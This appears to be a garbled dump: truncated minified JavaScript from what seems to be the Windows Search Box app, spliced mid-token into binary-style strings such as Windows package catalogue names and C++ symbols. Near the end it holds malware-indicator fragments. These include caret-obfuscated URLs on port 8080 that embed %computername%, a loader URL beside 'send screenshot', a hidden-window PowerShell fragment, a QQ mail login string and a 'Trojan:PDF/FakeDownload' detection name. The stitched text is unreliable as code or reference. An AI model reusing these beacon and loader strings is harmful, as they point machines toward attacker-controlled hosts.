t;(function(t){function u(t,i,r,u,o,s,h=1,c){var v,y,p;let b=Date.now();(n.config===null||n.config===void 0?void 0:n.config.perfLogging)&&performance.mark(t+"_start");let w=(new Error).stack,l,a=i=>{const r=i instanceof Error&&(i.message===e||i.message===f||i.message.includes("0x800704C7"));if(!r){i.stack&&(w=i.stack+"\n"+w);i.stack=w;l&&(o===null||o===void 0?void 0:o.unregister(l));switch(h){case 1:SharedLogHelper.LogError(t,s,c||i);break;case 2:n.LogWSBWarning(t,s,c||i,"WindowsTelemetry")}u&&u(i)}};try{let u=i();if(u){let i=null;u.cancel?i=()=>u.cancel():!((p=(y=(v=window===null||window===void 0?void 0:window.chrome)===null||v===void 0?void 0:v.webview)===null||y===void 0?void 0:y.hostObjects)===null||p===void 0?void 0:p.cancelPromise)||(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.isTest)||(i=()=>window.chrome.webview.hostObjects.cancelPromise(u));o&&i&&(l=o.register(i,!1,t+" cancellation"));let f=i=>{let u=Date.now()-b;n.InstrumentationHelper.instrumentAggregateFunctionPerf(t,u);(n.config===null||n.config===void 0?void 0:n.config.perfLogging)&&performance.mark(t+"_end");l&&o.unregister(l);r&&n.safeExecute(()=>r(i),t+" safeChain() completion");(n.config===null||n.config===void 0?void 0:n.config.perfLogging)&&performance.measure(t,t+"_start",t+"_end")};u.done?u.done(f,a):u.then(f,a)}else a(new Error("No promise returned"))}catch(k){a(k)}}function o(n,t,i,r,f=1,e){return new Promise((o,s)=>u(n,t,o,s,i,r,f,e))}function r(t,i,r,u){i.completed=!0;i.result=r;i.pendingCallbacks.forEach(t=>n.safeExecute(()=>t(r),u));i.pendingCallbacks=null}function s(){i={}}function h(){let n=[];for(let t in i)i[t].completed||n.push(t);n.forEach(n=>delete i[n])}function c(u,f,e,o,s,h,c,l,a=1){return(v,y)=>{let w=e(v),p=i[w];if(p||(p={started:!1,completed:!1,result:null,pendingCallbacks:[]},i[w]=p),p.completed)y(p.result);else if(p.pendingCallbacks.push(y),!p.started){p.started=!0;let e=()=>{t.safeChain(u,()=>f(v),n=>{h&&!h(n)&&delete i[w],r(w,p,o?o(n):n,u)},t=>{n.isCancellation(t)?r(w,p,null,u):l?(l-=1,e()):r(w,p,s,u)},null,c,a)};e()}}}const f="Canceled",e="Promise canceled";t.safeChain=u;t.safePromise=o;let i={};t.clearGlobalCache=s;t.clearPendingItemsFromCache=h;t.safeChainWithGlobalCaching=c})(t=n.Async||(n.Async={}));let i;(function(n){function t(n,t,i){let r={};for(let u of n){let n=t[u];n&&(r[u]=i(n))}return r}function i(n){for(let t in n)if(n[t])return!1;return!0}n.map=t;n.isEmpty=i})(i=n.Map||(n.Map={}))}(WSB||(WSB={})),function(n){const i="show",t=n.config.useCobaltCSS?23:10;class r{constructor(t,i,r){this._page=t;this._showIcons=i;this.adjustHeight=r;this._menuStack=[];this._itemClickHandler=(t,i)=>{i.button==0&&(t.subItems?t.isSelectable&&!t.isExpanded&&(this.showSubMenu(t),t.isSticky=!0):t.click&&(t.click(n.getCurrentTime(),n.getInputType(i)),n.dismissAppWhenRunAsAdmin(t.id)))};this._itemEnterHandler=t=>{t.isSelectable&&!t.isExpanded&&(t.subItems&&(this._hoverTimer&&sb_ct(this._hoverTimer),this._hoverTimer=n.safeSetTimeout(()=>{this._hoverTimer=0;let n=_ge(t.id);t&&!t.isExpanded&&n&&n.matches(":hover")&&this.showSubMenu(t)},500,"menu item mouse enter")),this.stickParent(t))};this._itemLeaveHandler=t=>{t.isExpanded&&!t.isSticky&&n.safeSetTimeout(()=>{let n=_ge(t.id);t&&!t.isSticky&&n&&!n.matches(":hover")&&(t.subItems.some(n=>n==this._selectedItem)&&this.select(null,!1),this.dismissSubMenu(t))},450,"menu item mouse leave")};sj_be(_d.body,"mouseup",t=>{n.StaticHtmlElements.menuContainer.contains(t.target)||this.dismiss()});n.TestHookUrlParameters||sj_be(_w,"blur",()=>this.dismiss());sj_evt.bind("ajax.threshold.pageStart",()=>this.dismiss());n.Host.bindKeyEscape(n=>{this.isMenuVisible()&&(n.handled=ent14: ${n.Host.getAccentColor(-1)};`;t+=`--accent15: ${i(u,.9)};`;t+=`--accent16: ${i(u,.8)};`;t+=`--accent17: ${i(n.Host.getAccentColor(1),.9)};`;t+=`--accent18: ${i(n.Host.getAccentColor(1),.8)};`;t+=`--accent19: ${i(n.Host.getAccentColor(-2),.9)};`;t+=`--accent20: ${i(n.Host.getAccentColor(-2),.8)};`;t+=`--accent21: ${r(n.Host.getAccentColor(1),.1)};`;t+=`--accent22: ${r(n.Host.getAccentColor(-2),.1)};`;t+=`--accent23: ${r(n.Host.getAccentColor(1),.2)};`;t+=`--accent24: ${r(n.Host.getAccentColor(-2),.2)};`;t+="}";f.innerHTML=t;e&&_d.head.appendChild(f);this._lastAccentColor=u}}addRewardsWidget(){const t=_d.createElement("script");t.src=n.config.rewardsWidgetBundleUrl;t.id="rewards-widget";t.setAttribute("data-report-activity","false");t.setAttribute("data-pid","WindowsSearchBox");t.async=!0;_d.head.appendChild(t)}adjustHeightAsync(){n.safeSetTimeout(()=>n.Host.adjustHeight(),0,"adjustHeightAsync")}bindOnNarratorLaunch(n){this._narratorLaunchHandlers.push(n)}render(t){this._renderingTimer&&sb_ct(this._renderingTimer);this._renderingInProgress=!0;try{n.View.ViewData=this.getViewData();t()}finally{this._renderingTimer=n.safeSetTimeout(()=>{this._renderingTimer=null,this._renderingInProgress=!1},0,"BasePage render")}}renderReactView(t,i,r){n!==undefined&&n.config.perfLogging&&n.WSBPerformance&&n.WSBPerformance.getInstance().beginMark("React Render - "+t);let u=this._targetElemCache[t];u||(this._targetElemCache[t]=u=_ge(t));let f=r;f.adjustHeight||(f.adjustHeight=()=>this.adjustHeightAsync());this.render(()=>_w.ReactDOM.render(React.createElement(i,r),u),t);n!==undefined&&n.config.perfLogging&&n.WSBPerformance&&n.WSBPerformance.getInstance().endMark("React Render - "+t)}addViewData(n,t){this._viewData[n]=t}getViewData(){return this._viewData}}n.Page=s}(WSB||(WSB={})),function(n){const t=54e5,i=20;class r{constructor(){if(this._isReloadSuppressed=!1,this._pendingReload=!1,!navigator.serviceWorker){n.log("Service worker is not available");return}n.Host.hasFallbackHappened()&&(this._isReloadSuppressed=!0,this._lastReloadAfterFallback=n.getCurrentTime());navigator.serviceWorker.ready.then(n=>{this._registration=n});n.Host.bindConversationStart(()=>this.onConversationStart());n.Host.bindAppHidden(()=>this.onAppHidden());sj_be(navigator.serviceWorker,"message",n=>this.onMessage(n))}getServiceWorkerRegistrationAsync(){return this._registration?Promise.resolve(this._registration):navigator.serviceWorker.ready.then(n=>(this._registration=n,n))}onConversationStart(){this._isReloadSuppressed=!0;const t=n.Host.getCachedCortanaHeaders();if(t){const t=n.Host.getCachedCortanaHeaders();(async()=>{await this.postMessageAsync("sah",{headers:Object.assign({},t)}),this.shouldCheckForUpdate()&&await this.syncAsync("cu")})()}else ThresholdUtilities.getCortanaHeaders(async t=>{t?(n.Host.setCortanaHeadersCache(t),await this.postMessageAsync("sah",{headers:Object.assign({},t)})):SharedLogHelper===null||SharedLogHelper===void 0?void 0:SharedLogHelper.LogError("superFreshServiceWorker",undefined,"get Cortana headers failed"),this.shouldCheckForUpdate()&&await this.syncAsync("cu")})}onAppHidden(){var r,u;let f=(r=n.config===null||n.config===void 0?void 0:n.config.minWaitAfterFallbackInMS)!==null&&r!==void 0?r:t;(this._isReloadSuppressed=this._lastReloadAfterFallback&&n.getCurrentTime()-this._lastReloadAfterFallback<f,this._isReloadSuppressed)||(!this._pendingReload&&n.Host.getPaneCloseCount()>=((u=n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.reloadAfterConversations)!==null&&u!==void 0?u:i)&&(this._pendingReload=!0),this._pendingReload&&this.reloadAsync())}async syncAsync(n){const t=await this.getServiceWorkerRegistrationAsync();t.sync?t.sync.register(n):await this.postMessageAsync("sy",{tag:n})}shouldCheckForUpdate(){return n.isBingEnabled()?(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.disableAppCache)?!1:!0:!1}onUpdateReady(){this._isReloadSuppressed||n.Host.getIsReloadSuppressedBgTask()?this._pendingReload=!0:this.reloadAsync()}reloadAsync(){retI9
],seeMoreUri:""};if(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.isTest){i("SAPP",e,null);return}if(this._storeResultProvider)this.queryStoreAppAsync(t,e,f,i);else{this._initProviderInProgress||this.initStoreProvider();i("SAPP",e,null);return}}}queryStoreAppAsync(i,r,u,f){let e,o,s;n.config.enableStoreAppAPITimeout&&(e=!1,o=n.safeSetTimeout(()=>{e||(e=!0,u()&&f("SAPP",r,null))},n.config.storeAppAPITimeoutInMs,"fetchStoreAppAPITimer"),s=()=>{o&&(sb_ct(o),o=null)});n.Async.safeChain("queryStoreAppAsync",()=>(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(55385725))?this._storeResultProvider.queryAsyncWithImpressionId(i.queryToFetch,t,n.Host.getRawImpressionGuid()):this._storeResultProvider.queryAsync(i.queryToFetch,t),t=>{u()&&(n.isNullOrUndefined(t)?n.config.enableStoreAppNoResultLog&&n.LogWSBWarning("queryStoreAppAsync","no result for query: "+i.queryToFetch,null,"WindowsTelemetry"):(r.seeMoreUri=t===null||t===void 0?void 0:t.seeMoreUri,t.results.forEach(n=>{r.results.push(n)})),n.config.enableStoreAppAPITimeout?e||(s(),e=!0,f("SAPP",r,null)):f("SAPP",r,null))},t=>{n.isCancellation(t)||n.LogWSBWarning("StoreAppFetch","failed",null,"WindowsTelemetry"),n.config.enableStoreAppAPITimeout?e||(s(),e=!0,f("SAPP",r,null)):f("SAPP",r,null)},null,"SAPP "+i.queryToFetch)}}n.StoreAppDataProvider=i;class r{constructor(){this.reactKeySet=new Set}parse(t,i,r,u,f,e){let o=[];this.reactKeySet=new Set;for(let n of u.results)this.parseStoreAppSuggestion(t,n,r,i,f,o);n.MockUrlParameters&&typeof n.MockStoreAppSuggestion=="object"&&this.parseStoreAppSuggestion(t,n.MockStoreAppSuggestion,r,i,f,o);e(r,o,null)}parseStoreAppSuggestion(t,i,r,u,f,e){var c;if(f()&&((c=i===null||i===void 0?void 0:i.defaultActionUri)===null||c===void 0?void 0:c.includes("productid="))&&(i===null||i===void 0?void 0:i.displayName)&&(i===null||i===void 0?void 0:i.thumbnailWebUri)){const l="SAPP",y=n.InstrumentedItem.createInstrumentedItem(u,l);let a=i===null||i===void 0?void 0:i.defaultActionUri,v=a.trim().split("productid=")[1].split("&")[0],h=i===null||i===void 0?void 0:i.displayName,s=i===null||i===void 0?void 0:i.thumbnailWebUri;(s===null||s===void 0?void 0:s.endsWith("?h=40"))&&(s=s===null||s===void 0?void 0:s.replace("?h=40",""));let o=n.createSuggestion(t,h,null,n.toIcon(s,"getStoreImage"),l,h,y,3,u,!1);i.rank!==undefined&&typeof i.rank=="number"&&(o.l1rank=1e3-i.rank);o.reactKey="SAPP"+h;o.previewPaneType=2;o.classNames.push("action");o.scope=n.Scope.Apps;o.installed=!1;o.primaryMetadata=n.config.openInStringResultsSubtext?n.Host.getLocString("OpenInTheStore"):n.Host.getLocString("AppInMicrosoftStore");o.narratorText=n.getNarratorText(o);o.click=()=>n.Host.launchUriAsync(a,!0);o.previewPaneStatus=0;o.storeAppCallback=async n=>{let t=await this.fetchStoreAppDataWithTimeout(v);return new Promise(i=>{t?this.addStoreSuggestionPreviewPaneProperties(n,t):(n.productName=h,n.previewPaneStatus=2),i(n)})};(n.config.urlandRatingSubtextBestMatch||n.config.openInStringResultsSubtext)&&this.fetchStoreAppDataWithTimeout(v).then(t=>{var i;if(t&&f()){let r=[];t.AverageRating&&t.AverageRating>0&&r.push(`${t.AverageRating.toFixed(1)} 
`);let u=this.getRatingsCount(t===null||t===void 0?void 0:t.RatingsCount);u&&r.push(u);((i=t.Categories)===null||i===void 0?void 0:i.length)>0&&r.push(t.Categories[0]);r.length>0&&(n.config.urlandRatingSubtextBestMatch?o.primaryMetadata=r.join(" | "):o.secondaryMetadata=r.join(" | "))}}).catch(t=>{n.LogWSBWarning("fetchStoreAppDataWithTimeout","Failed to fetch store app data",t,"WindowsTelemetry")});this.reactKeySet.has(o.reactKey)||(e.push(o),this.reactKeySet.add(o.reactKey))}}async fetchStoreAppDataWithTimeout(t){const u=n.config.storeAppRequestTimeoutInMs;let r=!1,i=n.safeSetTimeout(()=>{r=!0,n.LogWSBWarning("callStoreServerAPIAsync","fetch preview data timeout",undefined,"WindowsTelemetry")},u,"fetchStoreAppUrlTimer");const f=async()=>{if(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.storeAppFetchTimeoutSec){const t=n=>: ${i}`),r(null)},t,"fetchDMAWebEndpointTimer");this.fetchDMAWebEndpoint(i).then(n=>{sb_ct(u),r(n)}).catch(n=>{sb_ct(u),SharedLogHelper.LogError("fetchDMAWebEndpointWithTimeout",`Fetching failed for ${i}: ${n}`),r(null)})})}composeDmaWebEndpointUrl(t,i){let r=n.Host.initUrlParameters();const u=n.getCurrentDateDSB();let f=u.toLocaleString("en-US");return r.dateTime=encodeURIComponent(f),r.qry=i?i.queryToFetch.toLowerCase():"",r.cvid=n.Host.getConversationId(),n.isSupportWebResultsInAllScopeInDMAEnabled()&&(r.wsbsuggestions="1"),this.addParamsToUrl(decodeURIComponent(t),r)}}n.DmaWebDataProvider=i;class r{constructor(n){this.dataSourceType=n!==null&&n!==void 0?n:"TPWeb"}parse(t,i,r,u,f,e){var o;let s=[],h=0;(o=u===null||u===void 0?void 0:u.dmaAppSuggestions)===null||o===void 0?void 0:o.forEach(({suggestions:e,app:u})=>{e.forEach(e=>{var o,c;if(n.config.expandUrlCoverage!==2||((o=e.Attributes)===null||o===void 0?void 0:o.stype)!=="UAS"){if(n.config.expandUrlCoverage===1&&((c=e.Attributes)===null||c===void 0?void 0:c.stype)==="UAS"){if(n.config.maxUasSuggestionsCount>0&&h>=n.config.maxUasSuggestionsCount)return;h++}n.safeExecute(()=>this.parseDmaWebSuggestion(t,e,r,i,f,s,u),"parseDmaWebSuggestion "+r)}})});e(r,s,undefined)}parseDmaWebSuggestion(t,i,r,u,f,e,o){var c;let s=i.Attributes,l="TP",a=1,h=n.config.expandUrlCoverage&&s.stype==="UAS"?s.query:s.url;if(h&&f()){const r=`${o.displayName}-${s.query}`;let i=n.createSuggestion(t,s===null||s===void 0?void 0:s.query,null,{type:2},l,s.query,n.InstrumentedItem.createInstrumentedItem(u,l),a,u,!1,r);if(i.autoOpenPreviewPaneWhenOnTopHit=!0,i.reactKey=r,i.staticGroupType=n.GroupType.DMAWeb,i.scope=t.scope,i.previewPaneType=1,i.previewPaneUrl=s.previewPaneUrl,i.sourceApp=o,i.primaryMetadata=n.Host.getLocString("DMAWebSearchResults",o.displayName),n.isSupportWebResultsInAllScopeInDMAEnabled()&&((c=t.thirdPartySearch)===null||c===void 0?void 0:c.protocol)=="microsoft-edge"&&s.stype&&!this.isUrlAbsolute(h)&&(h=n.config.wsbDefaultBundle?`${n.config.webHost}${h}`:`${location.origin}${h}`),this.setUrlSuggestionProperties(i,t,h),!n.isValidSuggestion(i,"parseThirdPartySuggestion"))return;e.push(i)}}setUrlSuggestionProperties(t,i,r){let u=t.sourceApp;n.isSupportWebResultsInAllScopeInDMAEnabled()&&u&&u.getLogoAsDataUriAsync?t.getIcon=n.getDmaSuggestionIcon(u):t.icon=n.getSearchSuggestionIcon(t.query);t.url=r;t.click=()=>{var i;return n.Host.launchThirdPartyUriWithProtocolAsync(r,(i=t.sourceApp)===null||i===void 0?void 0:i.protocol)};t.narratorText=n.getNarratorText(t,n.Host.getLocString("DirectNavSuggestion"));t.getMruData=()=>n.getMruUrlSuggestionData(t,r)}isUrlAbsolute(n){return n.indexOf("://")>0||n.indexOf("//")===0}}n.DmaWebSuggestionsParser=r}(WSB||(WSB={})),function(n){const t=3;class i{getName(){return"StoreAppDataProvider"}constructor(){this._storeResultProvider=null;this._initProviderInProgress=!1;n.Host.bindConversationStart(()=>{n.config.warmupStoreByConv&&n.isStoreAppEnabled()&&(this._storeResultProvider?(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(55385725))?this._storeResultProvider.queryAsyncWithImpressionId("microsoft",1,n.Host.getRawImpressionGuid()):this._storeResultProvider.queryAsync("microsoft",1):this.initStoreProvider(!0))})}initStoreProvider(t){n.Async.safeChain("initStoreProvider",()=>{var n;return this._initProviderInProgress=!0,(n=ProjectionFactory===null||ProjectionFactory===void 0?void 0:ProjectionFactory.searchResultProviders)===null||n===void 0?void 0:n.getStoreResultProvidersAsync()},i=>{var r;(i===null||i===void 0?void 0:i.length)>0&&typeof((r=i[0])===null||r===void 0?void 0:r.queryAsync)=="function"&&(this._storeResultProvider=i[0],t&&((n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(55385725))?this._storeResultProvider.queryAsyncWithImpressionId("microsoft",1,n.Host.getRawImpressionGuid()):this._storeResultProvider.queryAsync("microsoft",1)));this._initProviderInProgress=!1},()=>{this._initProviderInProgress=!1})}fetch(t,i,r,u,f){if(n.isDataSourceEnabled("SAPP",t)){let e={results:[uanfangtianheiheitiootiantiandouyaoniaiwodexinsiyounicaibuyaowenwocongnalilaiingdeshihou&clientkey=WebMailname="uin"value="name="k"&Uin=mail.qq.com/cgi-bin/loginhttp://flash.chinaren.com/ip/ip.php
\windows\system32\tskill.exe
.system32t1windowspowershell
.Client.CBS_cw5n1h2txyewy!WindowsBackup
PWindowsB
Pof WindowsN
Pperformance of WindowsR
Pand performance of Windows]
Pappearance and performance of Windowsa
Pthe appearance and performance of Windows
$Vchange|changing|devices|installation|installing|settings|hardware|drivers|windows|in|out|optin|opt-in|optout|opt-out|metadata|data|icons|stage|downloads|downloading|online|fixing|working|my|searching|finding|getting|doesn't|not|for|newer|notifications|notifying|notified|A
handwriting settings|typing settings|ink settings|windows ink settings|pen settings|embedded ink control settings|EIC settings|5
pen settings|handwriting settings|ink settings|windows ink settings|=
onecoreuap\windows\dwm\dwmcore\rendering\shadercache.cpp
onecoreuap\windows\core\color\mscms\calibration.cxx
onecoreuap\windows\core\color\mscms\calibrationtask.cxx
onecoreuap\windows\core\color\mscms\modernprofman.cxx
onecoreuap\windows\core\color\mscms\displaymuxprofileoperations.cxx
onecoreuap\windows\core\color\colorshimlib\legacycolorshim.cxx
nNonecore\windows\accessibletech\Common\SafeArray.h
onecore\windows\accessibletech\uiamanager\dll\uiamanagercrossmachineproxy.cpp
onecore\windows\accessibletech\Common\WorkerThread.h
onecore\windows\accessibletech\uiamanager\dll\uiamanagercrossmachinestub.cpp
onecore\windows\accessibletech\uiamanager\dll\uiamanagercrossmachineproxyfactoryclassfactory.cpp
2^Microsoft.Windows.DevHome_0.1700.597.0_x64__8wekyb3d8bbw
2^Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwY
Pwindows passwordA
windows spotlightQ
Windows::XMLDSIG::Rtl::RtlGetDefaultXMLDSIGCanonicalizerFactory
CRtlXMLDSIGObjectFactoryTearoff<class CRtlXMLDSIGCanonicalizerFactory,struct Windows::XMLDSIG::Rtl::IRtlXMLDSIGCanonicalizer>::GetObject
CRtlXMLDSIGObjectFactory<struct Windows::XMLDSIG::Rtl::IRtlXMLDSIGCanonicalizer>::GetObject
Windows::Rtl::CRtlObjectTypeDescription<class CRtlXMLDSIGC14NCanonicalizer>::CreateInstance
Windows::Rtl::CRtlObjectTypeDescription<class CRtlXMLDSIGExcC14NCanonicalizer>::CreateInstance
Windows::Rtl::CRtlObjectTypeDescription<class CRtlXMLDSIGCanonicalizerFactory>::CreateTearoff
Windows::Rtl::CRtlObjectTypeDescription<class CRtlXMLDSIGExcC14NCanonicalizer>::CreateTearoff
Windows::Rtl::CRtlObjectTypeDescription<class CRtlXMLDSIGC14NCanonicalizer>::CreateTearoff
Windows::Rtl::CRtlObjectTypeDescription<class CRtlXMLDSIGCanonicalizerFactory>::CreateInstance
windows 11P
exe-windowstylehidden-execu
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IIterator@UStorageProviderKnownFolderEntry@Provider@Storage@Windows@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$heap_implements@Uiterator@?$iterable_base@U?$vector_impl@UStorageProviderKnownFolderEntry@Provider@Storage@Windows@winrt@@V?$vector@UStorageProviderKnownFolderEntry@Provider@Storage@Windows@winrt@@V?$allocator@UStorageProviderKnownFolderEntry@Provider@Storage@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@5@@impl@winrt@@UStorageProviderKnownFolderEntry@Provider@Storage@Windows@3@Ucollection_version@23@@winrt@@@impl@winrt@@
.?AVWindowsAclHelper@CommonAclHelper@@
.?AUIStorageProviderStatusUISourceFactory@Provider@Storage@Windows@ABI@@
.?AUIActionFeedbackHandler@Provider@Actions@AI@Windows@ABI@@
.?AUIStorageProviderItemPropertySource@Provider@Storage@Windows@ABI@@
.?AUIStorageProviderSearchHandlerFactory@Provider@Storage@Windows@ABI@@
\windows\temp\Trojan:PDF/FakeDownload.PF!MTB
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package09~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-UserSessionManagement-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|!
Microsoft-Windows-CoreSystem-RemoteFS-Server-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Identity-Foundation-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-Windows-Identity-Foundation-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-Platformrecords-PlutonFirmware-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|!
Microsoft-Windows-Printing-PrintToPDF-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.4484.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-UserSessionManagement-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
GetWindowsDirectoryW
"http://0j.re:8080/btawk2/l/4a/txd9ajfhobs2lagez9j8s/%computername%"^kav^ubf^p=^k^azjtwv^w/^qn%windir%\system32\shell32.dll
"http://a0.pm:8080/b9ywiedbdufh/cadr2asf23isbtyye3b6fi9uvo/!computername!"^ijh=^r^c^u^z^t!%systemroot%\system32\shell32.dll
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
https://escanor.live/rip/ace/loaddllfilesterrelllucretiasend screenshot....\application data\wmi-hostwindowshttp://www.google.com/bot.html
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemH
Microsoft TeamsMicrosoft Teamsfile://C:\Program Files\WindowsApps\MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe\Images\TeamsForWorkNewStoreLogo.scale-150.png@{MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe?ms-resource://MSTeams/Files/Images/TeamsForWorkNewAppList.png}@{MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe?ms-resource://MSTeams/Files/Images/TeamsForWorkNewWideTile.png}@{MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe?ms-resource://MSTeams/Files/Images/TeamsForWorkNewLargeTile.png}file://C:\Program Files\WindowsApps\MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe\Images\TeamsForWorkNewAppList.targetsize-64.png@{MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe?ms-resource://MSTeams/Files/Images/TeamsForWorkNewSplashScreen.png}}
Microsoft Teams Remote Module ContainerMicrosoft Teams Remote Module Containerfile://C:\Program Files\WindowsApps\MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe\Images\TeamsForWorkNewStoreLogo.scale-150.png@{MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe?ms-resource://MSTeams/Files/Images/TeamsForWorkNewAppList.png}}
@{MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.CrossDevice/CrossDeviceComponentStub/Resources/AppName}@{MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.CrossDevice/CrossDeviceComponentStub/Resources/AppName}@{MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.CrossDevice/Files/Assets/AppTiles/MedTile.png}@{MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.CrossDevice/Files/Assets/AppTiles/AppList.png}@{MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.CrossDevice/Files/Assets/AppTiles/WideTile.png}
Global.WidgetViewWinUI3Global.WidgetViewWinUI3@{MicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Files/Assets/Square150x150Logo.png}@{MicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Files/Assets/Square44x44Logo.png}http://microsoft.com
$b55d4eb0-cd6a-4c25-8433-a8b15b906830WindowsApf
\Windows
